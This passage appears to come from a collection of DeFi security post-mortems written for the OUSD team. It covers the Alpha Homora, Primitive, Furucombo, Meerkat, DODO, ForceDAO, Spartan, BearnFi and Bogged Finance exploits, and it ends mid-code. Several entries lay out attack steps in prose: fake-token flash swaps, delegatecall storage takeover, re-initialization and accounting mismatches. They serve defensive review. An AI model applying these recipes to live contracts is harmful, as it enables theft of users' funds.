deployed two new contracts following the attack to upgrade the HomoraBank. 152 | 153 | - Alpha [deployed](https://etherscan.io/tx/0x00939297e202222924a764044807ce4eee1fe81c6fdb67e73f675ecd1f01952e0) this contract: https://etherscan.io/address/0x6f80c10eafa1d3f7d8cc9f36bf39d301c7a7ad86#code 154 | 155 | - And [initalized it](https://etherscan.io/tx/0x6c66f2bf66645427082024a2d1bedbdc1dd4fc93b9028769be88d2d590df9887) 156 | 157 | - Then [updated](https://etherscan.io/tx/0xe35cb6f36881ddcda63dca85427f695e8dc065ee5718a7fcb002f04ecb3c2fdc) their [proxy](https://etherscan.io/address/0x090ece252cec5998db765073d07fac77b8e60cb2) to point to this newly deployed contact 158 | 159 | - They then [deployed](https://etherscan.io/tx/0x3e6a4a3c61af2e44624cca79c53b535844012b34a239f761f25e413d3c5dd28c) a new version of HomoraBank: https://etherscan.io/address/0x525d911b9459966ed6e90f3d44613bc17dfc8be6#code 160 | 161 | - And [initialized it](https://etherscan.io/tx/0xf97b1137c72e6f7b00557cfd4db8015ef8932f9905586ee3a86ff9fc0a63286f) 162 | 163 | - Finally, they [updated](https://etherscan.io/tx/0x3fa58a4ccd57f4467a7019f69261a16a78b77c1cd89bab56c61c1e5789eabdb2) their [proxy](https://etherscan.io/address/0x090ece252cec5998db765073d07fac77b8e60cb2) to point to this newly deployed contact 164 | 165 | ## Timeline 166 | 167 | - Attacker funded their wallet using Tornado Cash at 2021-02-12 8:55 AM +UTC 168 | - Attacker deployed the contract at 2021-02-13 5:37 AM +UTC 169 | - Attackers first attempt ran out of gas at 2021-02-13 5:40 AM +UTC 170 | - Attacker started the first of many success transactions at 2021-02-13 5:59 AM +UTC 171 | - Attacker returns funds to Alpha, CREAM, Tornado Cash, and Gitcoin starting at 2021-02-13 6:21 AM +UTC 172 | - Jose Baredes sounded the alarm on [Twitter](https://twitter.com/josebaredes/status/1360476183373242370?s=20) at 2021-02-13 6:29 +UTC 173 | - Alpha deployed a fixed contract at 2021-02-13 08:44:30 +UTC 174 | - This first draft of this report was published at 2021-02-13 18:18 +UTC 175 | - Alpha published their [post-mortem](https://blog.alphafinance.io/alpha-homora-v2-post-mortem/) at 2021-02-13 19:33 +UTC 176 | 177 | ## Conclusion 178 | 179 | At this time, there is no reason to believe that OUSD would be impacted by the attack. It's clear that the attack is specific to Alpha and possibly the Iron Bank / Cream. 180 | 181 | As usual, the key takeaway is that securing smart contracts is really hard. This was clearly a highly sophisticated hack involving complex interactions between multiple DeFi protocols. It's hard to guarantee the security of a system this complex. The jury is still out on whether it's a good idea to offer uncollateralized loans to trusted smart contracts or not. 182 | -------------------------------------------------------------------------------- /incidents/2021-02-22-PrimitiveFinance.md: -------------------------------------------------------------------------------- 1 | # Primitive Finance Exploit 2 | 3 | _Mike Shultz 2021-02-22._ 4 | 5 | ## Background 6 | 7 | [Primitive Finance](https://primitive.finance/) is a DeFi project that is tokenizing options trading built upon the Uniswap interface. Currently they offer options trading on WETH and SUSHI using DAI as the strike asset. 8 | 9 | On Feb 20th, a vulnerability was discovered by [Dedaub](https://www.dedaub.com/) and reported through Immunefi. Together with the Primitive team, they decided to prepare a whitehat attack to save user funds. The contracts were immutable and unpausable, leaving no other options for remediation. 10 | 11 | The attack uses Uniswap flash-swaps to call one of their core contracts (a "connector") with specially crafted attack contracts that mimic the expected Primitive options contracts. The connector uses information from these contracts to make decisions on how to transfer tokens that were previously approved by users. 12 | 13 | ## Audits 14 | 15 | Primitive contracts [have previously been through an audit by OpenZeppelin](https://blog.openzeppelin.com/primitive-audit/) that covered the `Primitives`, `Option`, `Redeem`, and `Trader` contracts. The referenced repository and [commit in this audit](https://github.com/primitivefinance/primitive-contracts/tree/98060324ac6588b1d05748911325a4d39869e4ae) appear to have been renamed and undergone a restructuring since the audit. 16 | 17 | The audit **did not** include the Connector contracts that were the target for the exploit. 18 | 19 | ## Details 20 | 21 | - Attack transactions 22 | 1) https://etherscan.io/tx/0xa903a3b8e098e1e10f73070ef370b347950ef2a6c9037ce76e6a9944b8a05d39 23 | 2) https://etherscan.io/tx/0x9c511b8063780104895c68d08e7dbb1f1557c59e3e96bd14ef190d9329e33113 24 | 3) https://etherscan.io/tx/0xac9771a1dd347bf880b7db8c842ad2481cb69a7fae671e78267dc9e1e045d010 25 | - [Primitive's Attack Post-Mortem](https://primitivefinance.medium.com/postmortem-on-the-primitive-finance-whitehack-of-february-21st-2021-17446c0f3122) 26 | 27 | ## Attack 28 | 29 | The attack requires some reconnaissance ahead of time. You must know ahead of time what tokens the connector has been approved for. With that information, you will know how much you can siphon from the victim accounts. 30 | 31 | 1) Create a fake token ("FAKE") 32 | 2) Create a malicious Option contract that uses the real token ("REAL") and FAKE as strike 33 | 3) Create a Uniswap pair for REAL-FAKE swaps 34 | 4) Start a [flash swap](https://uniswap.org/docs/v2/smart-contract-integration/using-flash-swaps/) for the amount of REAL that the connector has been approved for that calls `flashMintShortOptionsThenSwap()` with the malicious Uniswap pair and options addresses. 35 | 5) Pass the REAL tokens of the flash swap to the Option contract, minting malicious option tokens("MOPT"). The malicious Option contract then transfers REAL tokens to attacker 36 | 7) Transfer MOPT to victim 37 | 8) Settle flash swap by paying the malicious pair with the victim's funds 38 | 9) Remove liquidity from REAL-FAKE Uniswap pair 39 | 40 | The result is that the attacker now have the victim's REAL, and they have worthless MOPT that cannot be redeemed for FAKE, which has no value. 41 | 42 | ## Fix 43 | 44 | As of this writing, there appears to be no fix in place. Their published future plans include: 45 | 46 | 1) Strict approvals (no more infinite approvals) 47 | 2) Use `permit()` for all tokens that support it 48 | 3) Add pausability to contracts 49 | 4) "Update the frontend with new tools for users to interact with the option markets, until a new Connector contract is deployed." 50 | 51 | No further mention of how they might fix the connector, or if they will. 52 | 53 | ## Timeline 54 | 55 | This timeline is a direct copy from [Primtive's own post-mortem](https://primitivefinance.medium.com/postmortem-on-the-primitive-finance-whitehack-of-february-21st-2021-17446c0f3122): 56 | 57 | - 15:30 UTC Feb 20: Dedaub team confirms critical vulnerability by exploiting a contract in a test environment. 58 | - 16:30 UTC Feb 20: Yannis Smaragdakis at Dedaub discloses the critical vulnerability to Mitchell Amador at Immunefi. 59 | - 17:00 UTC Feb 20: Immunefi team confirms the vulnerability. 60 | - 17:40 UTC Feb 20: Primitive Finance confirms receipt of vulnerability from Immunefi. 61 | - 17:45 UTC Feb 20: Primitive Finance engages Emiliano (ReviewsDAO). 62 | - 17:50 UTC Feb 20: Primitive Finance war room created with Primitive Finance, Dedaub, ReviewsDAO, and Immunefi teams. 63 | - 17:53 UTC Feb 20: War room assembles, begins preparing whitehat hack and operations. 64 | - 18:15 UTC Feb 20: Primitive Frontend updated with all buttons calibrated to reset approvals to 0 wei, to prevent new wallets becoming vulnerable. 65 | - 20:45 UTC Feb 20: Scope of the vulnerable wallets and funds at risk confirmed, with the help of Jon Itzler’s Dune Analytics queries. 66 | - 17:17 UTC Feb 21: Whitehack contracts prepared, code review begins. 67 | - 19:45 UTC Feb 21: Alice Henshaw from Open Zeppelin joins war room to offer additional support. 68 | - 22:18 UTC Feb 21: War room re-assembles to initiate whitehack. 69 | - 00:19 UTC Feb 22: Staging complete, attack is ready. 70 | - 00:41 UTC Feb 22: Pre-emptive reach out to known address holders to reset allowances, exposed funds reduce by 35%. 71 | - 01:06 UTC Feb 22: Primitive Team executes first whitehat attack, rescuing first wallet. 72 | - 01:12 UTC Feb 22: Primitive Team executes second whitehat attack, rescuing second wallet. 73 | - 01:14 UTC Feb 22: Primitive Frontend updated with emergency reset page. Announcement made in discord. 74 | - 01:16 UTC Feb 22: Primitive Team executes third whitehat attack, rescuing third wallet. 75 | - 03:14 UTC Feb 22: Primitive Team safely returns all rescued funds to their owners. 76 | - 04:00 UTC Feb 22: Confirmed 98% of originally exposed funds have been saved. 77 | 78 | ## Conclusion 79 | 80 | At this time, there is no reason to believe that OUSD would be impacted by the attack. It would require users to be able to feed malicious contract addresses to ours which we have recently reviewed against. For good measure, I've also done an additional source review of our token, vault, and strategies contracts for `address` arguments and how they are used. I found that all of our `address` arguments that are allowed publicly are properly validated or aren't used in a way that could call arbitrary code. With the only exception being `Governor`/`Timelock`, which are inherently used to execute arbitrary transactions. 81 | 82 | One interesting angle to this attack is Uniswap's "flash swap" capabilities which were new to me as of this writing. They allow a user to essentially "take" token A and "give" token B later on in the transaction. While still atomic (executed in a single transaction), it allows the user to perform other actions before settling. 83 | 84 | While I don't think there are any current vulnerabilities in OUSD relating to flash swaps, I think it's worth everyone to give it consideration. It should especially be kept in mind if we consider a Uniswap LP strategy in the future. 85 | -------------------------------------------------------------------------------- /incidents/2021-02-27-Furucombo.md: -------------------------------------------------------------------------------- 1 | # 2021-2-27 Furucombo Attack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | An attacker drained $14 million dollars worth of funds from accounts that had approved the Furucombo proxy to transfer their funds. The Furucombo proxy allowed executing remote code from dozens of different contracts as if it was the Furucombo proxy running the code itself. This allowed the attacker to set the Furucombo storage such that they had total control of the Furucombo proxy. With the ability to run arbitrary code, the attacker had the proxy execute batched transfers of users' coins to the attacker. 8 | 9 | ## How it works 10 | 11 | ### Background: Delegatecall 12 | 13 | Normally, each Ethereum contract is the the only one in the universe that can write to its own storage memory, and can only interact with other contracts by sending messages which other contracts are free to ignore. 14 | 15 | These protections all go away when one contract DELEGATECALLs to another. DELEGATECALL grabs the code from another contract and runs that code it as if it were the contract that called it, giving the code full access to everything that the calling contract has, and appearing to the outside world as if every action taken was done by the calling contract. 16 | 17 | 18 | 19 | DELEGATECALL is as if you were playing basketball with your buddies and could temporarily replace your mind with a copy of Zion Williamson's for a play, while keeping your physical body on the court. This requires a crazy amount of trust. It's possible that the the person you chose to control your mind might instead take out big loans in your name and send the funds to Moldova. 20 | 21 | There's one very valid use for DELEGATECALL. The code in an in ethereum contract cannot be changed. (_This is ethereum, so of course contract code can be changed in certain circumstances_). But many projects, OUSD included, want to be able to upgrade their contracts to add new features or reduce gas usage without requiring all users to take their funds out of the old contracts and put them into the new contracts with new features. The solution to this is to have a "proxy contract" that acts as the public face of the project. This proxy contract takes whatever message is sent to it and DELEGATECALL's it to an "implementation contract" that contains the code doing the real work. The implementation contract then runs as if it was the front contract, and has full access to all funds that belong to the front contract, and all access that others have given the front contract. When it is time to upgrade, the project just changes which implementation contract the proxy delegates to. 22 | 23 | This proxy/implementation pattern is the leading way to do upgradeability. Projects holding billions of dollars use it, including AAVE, Compound, and USDC. 24 | 25 | Furucombo however, was not using DELEGATECALL for upgradability to their own trusted contracts. Instead they were allowing the public to send in a list of contracts to run code on, and step through that list, DELEGATECALL'ing to each, temporarily replacing the Furucombo code with the requested other contract's code and running it. Furucombo did have a whitelist of allowed contracts that could be called, but this was still extremely dangerous. 26 | 27 | ### 1. The attack contract 28 | 29 | The [attack contract](https://etherscan.io/address/0x86765dde9304bea32f65330d266155c4fa0c4f04) is tiny at 1,279 bytes. Looking at a [decompiled version](https://contract-library.com/contracts/Ethereum/0x86765dde9304bea32f65330d266155c4fa0c4f04) we can see that it checks that it is being run by the attacker, and then a loops through making whatever calls the attacker had instructed. 30 | 31 | Unlike many attack contracts that have the exact blueprint of the attack sequence built into them, this one appears empty of apparent purpose. It could serve as an arbitrage bot, or could be a way a put complex sequence of transactions together. There's no warning from looking at the contract that it attacks any specific target, or is an attack contract at all. 32 | 33 | In a sense, the attack contract is extremely like the Furucombo contract itself. 34 | 35 | ### 2. The takeover 36 | 37 | [0x6a14869266a1dcf3f51b102f44b7af7d0a56f1766e5b1908ac80a6a23dbaf449](https://etherscan.io/tx/0x6a14869266a1dcf3f51b102f44b7af7d0a56f1766e5b1908ac80a6a23dbaf449) 38 | 39 | The Furucombo proxy had a whitelist of contracts that it would delegate to, including the AAVE proxy contract. When the Furucombo Proxy was instructed to delegate call to the AAVE proxy, then then Furucombo code would turn into running the AAVE proxy. The AAVE proxy code would in turn look at a storage slot for its implementation code and DELEGATECALL to that code. However, if this implementation address storage location had never been blank then it could be set by the first person to initialize it. 40 | 41 | On the actual AAVE proxy contract, this storage slot was set long ago. But when the AAVE proxy code was run in the context of the Furucombo proxy, the AAVE code was reading and writing to the Furucombo storage, and in those storage slots the AAVE setup process had not been run yet. 42 | 43 | The attacker had the Furucombo proxy become the AAVE proxy, then run the initialize with the attacker's contract as the new implementation. 44 | 45 | 46 | 47 | From now on, whenever the Furucombo proxy was called to delegate to AAVE, the the AAVE proxy code would in turn look in the furucombo's storage, and would delegate to the attacker's contract. The attacker could now run any code desired as if it were actual written as the Furucombo code. 48 | 49 | ### 3. Stealing funds 50 | 51 | 52 | Sample transaction: [0x8bf64bd802d039d03c63bf3614afc042f345e158ea0814c74be4b5b14436afb9](https://etherscan.io/tx/0x8bf64bd802d039d03c63bf3614afc042f345e158ea0814c74be4b5b14436afb9) 53 | 54 | The attacker now had total control. Unlike many attacks which focus on funds held by the attacked contracts, this attacker went after whales who had approved the furucombo contract to transfer their money. 55 | 56 | The attacker batched up multiple transferFrom to run as the Furucombo Proxy, moving the the victims funds directly from the victims wallets to the attackers. 57 | 58 | 59 | ## What allowed this to happen? 60 | 61 | First, it was incredibly risky to allow passing arbitrary arguments to a whole list of DELEGATECALL'd external contracts. This would be almost impossible to secure, and catastrophic if something failed. 62 | 63 | Secondly, I don't understand why the AAVE proxy was in the whitelist. It could not have ever done anything useful when DELEGATE called by Furucombo, since it would not actually have been the real AAVE - it would have had no funds and no users. 64 | 65 | The AAVE proxy was added to whitelist at the same time the rest of the whitelist was setup. The Furucombo proxy was vulnerable since since then. 66 | 67 | Lastly this attack worked because there were approvals to the Furucombo proxy on accounts with millions of dollars of funds. In the case of an attacker gaining the ability to run their own code as a contract, not only are the funds in a contract at risk, but also any funds that have been approved to that contract. 68 | 69 | ## Are we vulnerable? 70 | 71 | OUSD is not vulnerable to this attack style. We only use delegatecall for contract upgradability, using the battle tested OpenZeppelin library. We also have a code review checklist item for not allowing the use of delegatecall outside this. 72 | 73 | OUSD also has separate internal contracts for each strategy it uses, and the strategies have their own funds and approvals to the the underlying DeFi projects that we use. This means that even if the Compound USDT contract were compromised like this, it could not directly take USDT from the OUSD vault, since only our Compound strategy contract has an outstanding approval to transfer USDT to Compound USDT. 74 | -------------------------------------------------------------------------------- /incidents/2021-03-04-Meerkat-Finance.md: -------------------------------------------------------------------------------- 1 | # Meerkat Finance 2 | 3 | Meerkat Finance was a Yearn clone running on Binance Smart Chain (BSC), a semi-centralized Ethereum fork. 4 | 5 | 6 | ## Technical Description 7 | 8 | An attacker/internal team member upgraded a proxy implementation and drained 13 million BUSD and 73,000 BNB with a total value of approximately $31m. The new proxy implementation had a function with signature 0x70fcb0a7 which had the singular purpose of draining vaults and sending the proceeds to the contract owner. 9 | 10 | upgradeTo call - https://bscscan.com/tx/0x063970f8625f250101a7da8abf914748cf8eaaaa9458041f1928501accfe5d6c 11 | upgradeTo call - https://bscscan.com/tx/0xf19fa4bcff4adaebeddd28c851458ba0f01ffedd52b62df56ace94e7c8842553 12 | 0x70fcb0a7 call - https://bscscan.com/tx/0x1332fadcc5378b1cc90159e603b99e0b73ad992b1e6389e012af3872c8cae27d 13 | 0x70fcb0a7 call - https://bscscan.com/tx/0xd8145dfe255a671428b9c082a006a145fe58d82175671e8bfbe02f4040ae8cd0 14 | 15 | ## Commentary 16 | 17 | Although relatively uninteresting from a security perspective, this is interesting for other reasons. At the time of writing this was the largest loss of funds on BSC. To some extend, it may be possible for Binance to either rollback the transactions or prevent an egress of funds to other chains. Doing so could lead to harsh criticism from the crypto community who are generally strongly in favour of decentralization and the "code is law" narrative. 18 | 19 | Immediately following the incident, the Meerkat Finance team disappeared. Several days later, they reappeared claiming that the incident was some kind of [commentary](https://www.abmedia.io/bsc-meerkat-finance-rugpull-is-just-a-test) around the danger of greed and the risks of smart contracts. They further claim that the hacker was invited to exploit the contracts. The "hack" was really only an abuse of access control, so this demonstration is ridiculous. A real world analogy would be if I wanted to show how unsafe storing money in a bank is, and I then handed over the vault combination to a thief to prove my point. More likely, the Meerkat Finance team realised they couldn't profit from the incident due the funds being trapped on BSC, and are attempting to resurrect the product. 20 | -------------------------------------------------------------------------------- /incidents/2021-03-08-Dodo.md: -------------------------------------------------------------------------------- 1 | # DODO 2 | 3 | Dodo was hacked for $2 million using a combination of fake token attack and a missing check on contract initialize. This attack affected only V2 pools namely: WSZO, WCRES, ETHA, and FUSI pool. 4 | 5 | ## Technical Description 6 | 7 | The source of the problem is that these lines were missing in the [init](https://github.com/DODOEX/contractV2/blob/01c544780291a5acc3e2be4980493e63065fb200/contracts/DODOVendingMachine/impl/DVM.sol#L33-L35) function that would prevent the function to be called multiple times. Attacker exploited the missing check to bypass the flashLoan function balance check and drain the pool. 8 | 9 | ### The attack was achieved with the following steps: 10 | 11 | - Exploiter creates a counterfeit token and initialize the smart contract with it by calling the [init](https://github.com/DODOEX/contractV2/blob/8b683af08f645c30e2b12d2e0cde38f08236f135/contracts/DODOVendingMachine/impl/DVM.sol#L24) function. 12 | - Exploiter calls the [sync](https://github.com/DODOEX/contractV2/blob/01c544780291a5acc3e2be4980493e63065fb200/contracts/DODOVendingMachine/impl/DVMVault.sol#L74-L86) function which sets the *reserve* variable, that represents the token balance, to 0. 13 | - Exploiter calls init again to re-initialize - this time with a *real* token (i.e. tokens in DODO’s pools) 14 | - Exploiter uses a [flash loan](https://github.com/DODOEX/contractV2/blob/01c544780291a5acc3e2be4980493e63065fb200/contracts/DODOVendingMachine/impl/DVMTrader.sol#L89) to transfer all real tokens from the pools and bypass the [flash loan check](https://github.com/DODOEX/contractV2/blob/01c544780291a5acc3e2be4980493e63065fb200/contracts/DODOVendingMachine/impl/DVMTrader.sol#L105-L108) 15 | 16 | The reason that flash loan check failed to perform its intended task was because the reserve balances were set to 0 even though the pool had a large amount of the reserve token. And the pool code wrongly assumed it wasn't loosing any tokens. 17 | 18 | This is the [transaction](https://etherscan.io/tx/0x395675b56370a9f5fe8b32badfa80043f5291443bd6c8273900476880fb5221e) that caused tha havoc. 19 | 20 | ## Possible fixes 21 | - obviously adding the [init](https://github.com/DODOEX/contractV2/commit/01c544780291a5acc3e2be4980493e63065fb200#diff-338291e7d47bd3ae0f13396fa01e412005b9dc2c64e53800bb3d6c9b6e373820R34-R36) check to prevent multiple pool initialisation 22 | - some defensive programming where [sync](https://github.com/DODOEX/contractV2/blob/01c544780291a5acc3e2be4980493e63065fb200/contracts/DODOVendingMachine/impl/DVMVault.sol#L74-L86) would be called inside the init function 23 | 24 | 25 | ## Commentary 26 | 27 | OUSD is not vulnerable to this sort of attack because of the [initializer modifier](https://github.com/OriginProtocol/origin-dollar/blob/master/contracts/contracts/vault/VaultInitializer.sol#L15) that prevent initialize being called multiple times -------------------------------------------------------------------------------- /incidents/2021-04-05-ForceDAO.md: -------------------------------------------------------------------------------- 1 | # ForceDAO 2 | 3 | ForceDAOwas hacked. A total of 183 ETH worth of FORCE tokens were taken, but there was about 14.8 million FORCE tokens that were at risk which the initial attacker returned(they labeled him the whitehat attacker). 4 | 5 | 6 | ## Technical Description 7 | 8 | The source of the problem is that the transfer call to the FORCE token in the deposit call of their xFORCE token(their reward token) did not validate the return value. It assumed that the transfer in FORCE will revert on failure and it didn't. The github is no longer online, but here's a screenshot of the deposit function [unprotected transfer](https://pbs.twimg.com/media/EyHjWJEWYAMK5QZ.jpg:large). 9 | 10 | ### The attack was achieved with the following steps: 11 | 12 | - call to deposit to mint xFORCE token and transfer them [deposit](https://etherscan.io/tx/0x7242f477547df9f2692c80d5a33ebf95fa6f13d5e0e15ed6dd90574ea2c7c5e3). 13 | - withdraw minted xFORCE tokens as FORCE tokens [withdraw](https://etherscan.io/tx/0x09ebdd2121bf4e364cc30071bbf63ab2e8a229f11a5488fbe6b472f17a88ebe0). 14 | - transfer tokens to exchange(whitehat attacker sent the tokens back to FORCE's multisig wallet) 15 | 16 | This is the the address of the [whitehat attacker](https://etherscan.io/address/0xf88a427c5bf29acf58497c0088cbf7ca9836b7b2#tokentxns) 17 | 18 | 19 | ## Possible fixes 20 | - use safeTransfer and SafeERC20 for all token functions 21 | 22 | 23 | ## Commentary 24 | 25 | Force mentioned in their [write up](https://blog.forcedao.com/xforce-exploit-post-mortem-7fa9dcba2ac3) that they forked sushi for their xForce implementation and forked Aragon Minime for their token implmenetation, but both of these were still within their code base. A security audir or even having a negative unit tests would have revealed the issue. OUSD does not seem to be at risk, we do have some naked transfer functions in cryptic and flipper but we make use of their return value. 26 | -------------------------------------------------------------------------------- /incidents/2021-05-02-Spartan-Pool.md: -------------------------------------------------------------------------------- 1 | # 2021-5-2 Spartan Hack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | An attacker stole approximately $30 million of funds from Spartan Protocol liquidity pools due to a bug in calculating how much assets to send when liquidity was withdrawn. 8 | 9 | ### Background: Swap Pool 10 | 11 | Uniswap-style swap pools work by holding a large number of two different tokens that can be traded for each other using the pool. The ratio between the quantities of the tokens becomes the price to trade one for the other. 12 | 13 | Because this requires a lot of tokens to be sitting around to work, pools need to reward people who deposit place their tokens into the pool to be using for swapping. The usual way is that someone places an amount of both tokens into the pool, and in return receives some number of pool tokens to hold. As swaps take place, the fees charged increase the amount of swappable tokens in the pool. When a liquidity provider cash out their pool tokens, they get back out their percentage of all the swappable tokens, which will have grown from trading fees. 14 | 15 | Swap pools often do not control the transfer of funds into them, either for swapping, nor for adding liquidity. Instead they keep track of the amount of each token they expect to have, and then compare these numbers to the actual balances to see how much has been transferred in. Money that the pool doesn't know about yet is credited to whoever wants to do something with it. The Spartan Protocol follows this style. 16 | 17 | 18 | ## How it works 19 | 20 | The actual attack has over 700 events emitted during the transaction. For simplification, I've narrowed down to just the core attack, and used hypothetical numbers. 21 | 22 | We've made a [reproduction of this simplified attack](https://github.com/OriginProtocol/security/blob/master/reproductions/2021-05-02-spartan/tests/test_hack.py) available, using the actual spartan pool code. 23 | 24 | ### 1. AddLiquidity 25 | 26 | Lets say the Spartan pool starts with 10 million SPARTA 27 | 28 | The attacker adds 10 more million SPARTA as liquidity. After adding, the pool now has 20 million SPARTA, and the pool's accounting now correctly thinks it has 20 million SPARTA. 29 | 30 | ### 2. Add extra funds 31 | 32 | The attacker then directly transfers to the pool an additional 10 million SPARTA, without calling any code on the pool. The now pool has 30 million SPARTA, but thinks it has 20 million SPARTA. 33 | 34 | 35 | ### 3. Remove Liquidity 36 | 37 | The attacker removes his liquidity. Because the attacker has 50% of the pool tokens, the the pool calculates that 50% of the 30 million actual balance is 15 million SPARTA, and sends that to the attacker. The pool then updates its internal balances by subtracting the 15 million that it sends from the 20 million dollars that holds. The pool now has 15 million actual SPARTA, but thinks that it has 5 Million Sparta. 38 | 39 | This was the critical bug. The remove liquidity function should have either synced the actual balances to its internal balances during the transaction, as Uniswap does, or purely worked from its own accounting, as Curve does. 40 | 41 | 42 | ### 4. Collect Extra Funds 43 | 44 | At this point the pool has 10 million SPARTA less than it thinks that it does. These extra tokens will appear to the fund to have been deposited by the person that makes the next transaction. From here the attacker can run a swap on the pool and collect the remaining tokens. 45 | 46 | At the end of this hypothetical attack, the attacker has 5 million more SPARTA than they started with, and the pool has 5 million less. 47 | 48 | By doing other swaps before and after the core of the attack, the attacker can move the bonding curve to make the attack more efficient. 49 | 50 | ## What allowed this to happen? 51 | 52 | The Spartan pool sometimes used actual balances and sometimes used internal accounting balances, without syncing them in a critical place. This is an easy opening for an exploite if the attacker has a way to get back his funds after the math is done, as is the case with this style of pool. 53 | 54 | While the Spartan pool is not a direct copy of Uniswap v2, it is very inspired by the Uniswap design. The sync operation in the uniswap remove liquidity function is not explicit in the top level function, but rather in a called function with a different stated purpose. It would be extremely easy to miss if you were just reading through the code. 55 | 56 | ## Are we vulnerable? 57 | 58 | Yes, in a very small way. 59 | 60 | OUSD checked its balance on 3pool by looking at 3pool's actual balances, whereas 3pool uses internal accounting values for computing balances. An attacker could send funds to 3pool, which 3pool would not account for, but OUSD would, and inflate the apparent value of OUSD's backing assets. However, the money sent by the attacker to 3pool would be locked in 3pool, making this attack massively unprofitable, unless those funds were later withdrawn to the attacker by 3pool governance vote. This makes an attack unlikely. 61 | 62 | Also, OUSD has several design features which reduced this attack's efficiency. Profits from this attack would be a tiny fraction of a percent of total OUSD holdings, but that is before OUSD's redeem fee, which which could make the attack completely unprofitable, even were the attackers able to recover the funds sent to 3pool. 63 | 64 | The OUSD 3pool strategy has been updated to fix this issue. We now calculate 3pool's balances using 3pools internal accounting balances. 65 | 66 | ## Links 67 | 68 | Attack transaction: 69 | https://bscscan.com/tx/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8 70 | 71 | Attack contract: 72 | https://bscscan.com/address/0x288315639c1145f523af6d7a5e4ccf8238cd6a51 -------------------------------------------------------------------------------- /incidents/2021-05-16-BearnFi.md: -------------------------------------------------------------------------------- 1 | # 2021-5-16 BearnFi Vault Attack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | An attacker stole approximately $11 million dollars of funds from BearnFi due to a bug in a BearnFi strategy contract which treated tokens of different monatary value as being equal to each other. 8 | 9 | ## How it works 10 | 11 | The BearnFi Bank contract used BUSD amounts for deposits and withdrawals and passed these BUSD amounts to BearnFi Alpaca Strategy for deposits and withdraws. The Strategy contract then used these amounts unchanged with the more valuable ibBUSD tokens. 12 | 13 | Even though larger sums were being withdrawn from and deposited to the underlying investment platform, the actual deposits withdrawals to the users were still for the approximately correct amount in amount BUSD, since everything that the bank contract did was in BUSD.. However, a bug in the in strategy's internal accounting process meant that the the extra funds being deposited and withdrawn counted as an increase in yield for the entire strategy. 14 | 15 | By repeatedly depositing and withdrawing 7-8 million dollars, the attacker was able to slightly increase their balance each loop from the several hundred thousdand dollars of extra yield that the strategy contract thought it was earning. 16 | 17 | Let's walk through a typical attack loop: 18 | 19 | - 7,887,636 BUSD is deposited by the attacker into the BearnFi Bank, which transfers it to the BearnFi Strategy. 20 | - The Strategy takes all the BUSD that it has, and invests it in Alpaca. Because the Strategy contains left over BUSD from the attacker's previous loop, the actual amount sent to Alpaca is 8,101,666 BUSD. (Later, we'll get to how this extra amount got there.) The difference between the amount deposited by the user and the amount invested by the strategy is counted as an extra yield of 214,030 BUSD earned by the strategy, and is distributed to all users of the BearnFi strategy. 21 | - The strategy then takes 7,887,636 ibUSD and places it in a staking contract. Note that even though the strategy is working with the more valuable ibUSD, it's still using the BUSD amount from the deposit. 22 | - The attacker now requests a withdrawal of $7,901,623, which is now higher than the amount deposited since the Strategy thinks it has earned yield. 23 | - The Strategy incorrectly uses the BUSD amount of the withdraw and withdraws $7,901,623 ibBUSD from the staking contract. This is exchanged into $8,116,032 BUSD. 24 | - The Strategy now returns the requested $7,901,623 BUSD to the Bank and from there to attacker. The extra $214,409 BUSD from this process remains in the Strategy contract, and will be incorrectly counted as yield on the next loop. 25 | 26 | ## What allowed this to happen? 27 | 28 | The primary cause was that the strategy contract used two currencies with differing values without converting exchange rates between them. It assumed that they were 1:1 with each other. 29 | 30 | Secondly, the errors in accounting which resulted were hidden because the BearnFi contracts explicitly checked to see if they didn't have enough money do an operation, and if they didn't have enough then they silently switched to using the actual amount they had rather than throwing an error when the actual amounts did not match what the accounting said. This meant that the constant internal math errors and incorrect accounting did not stop the system from apparently working. 31 | 32 | Thirdly, the design of the totaly value calculation in the strategy was not resilient to errors. Rather than computing the actual total value owned by the strategy, the total was computed by tracking how much the strategy thought that it put in and took out. This made errors elsewhere in the contract be create apparent yield increases. 33 | 34 | Unit testing the strategy, or even looking at the ERC20 transfer logs from a deposit or withdraw would would have caught these errors. 35 | 36 | ## Are we vulnerable? 37 | 38 | No. 39 | 40 | We calculate the total value that backs OUSD by checking the actual live amounts controlled by each strategy. This means that there is no internal balance on OUSD strategies that can have incorrect accounting, and incorrect amounts transferred can't create false yield. A strategy withdrawing more than required, or depositing more than a user deposited does not alter our totals. 41 | 42 | I've checked that our strategy code correctly handles exchange rates to the underlying investments. Two of our strategies (Compound, Curve 3Pool) use underlying investment tokens that trade at a different exchange rate than the stablecoins they can be exchanged form and our contracts calculate the exchange rates on these. One of our strategies (AAVE) uses a rebasing token at trades at 1:1 for the underlying stablecoin. 43 | 44 | I've checked our OUSD contracts and we do not check a balance and them make a smaller transfer or reduce the amount stored in accounting, if we do not have as much funds as we should. 45 | 46 | I've also manually verified from a withdraw transaction log that we with withdraw the correct amounts of the underlying token from strategies. 47 | 48 | 49 | ## Links 50 | 51 | Attack transaction: 52 | https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c 53 | 54 | BearnFi Bank Contract: 55 | https://bscscan.com/address/0xc60c6854d10c034718aca198fe92d73eb83b744c#code 56 | 57 | BearnFi Vault Contract: 58 | https://bscscan.com/address/0x21125d94cfe886e7179c8d2fe8c1ea8d57c73e0e#code 59 | 60 | -------------------------------------------------------------------------------- /incidents/2021-05-22-Bog-Finance.md: -------------------------------------------------------------------------------- 1 | # 2021-5-22 Bogged Finance Attack 2 | 3 | _Daniel Von Fange_ 4 | 5 | ## What happened 6 | 7 | An attacker stole approximately 3.6 million dollars of funds from the BSC Bogged Finance liquidity pools due to a bug that created additional BOG when BOG was transferred between accounts. 8 | 9 | ## How it works 10 | 11 | BOG was advertised as a deflationary currency. Its stated goal is that every time someone transferred BOG from one account to the other, the sender would lose 5%, and 1% would be burnt, and 4% would be distributed to those staking BOG and BNB. 12 | 13 | The part of the code that handles transaction fees looks correct at first glance. It correctly calculates that 95% should transfer from the sender to the destination, 1% should be burnt, and 4% should be distributed to the stakers. 14 | 15 | /** 16 | * Burns transaction amount as per burn rate & returns remaining transfer amount. 17 | */ 18 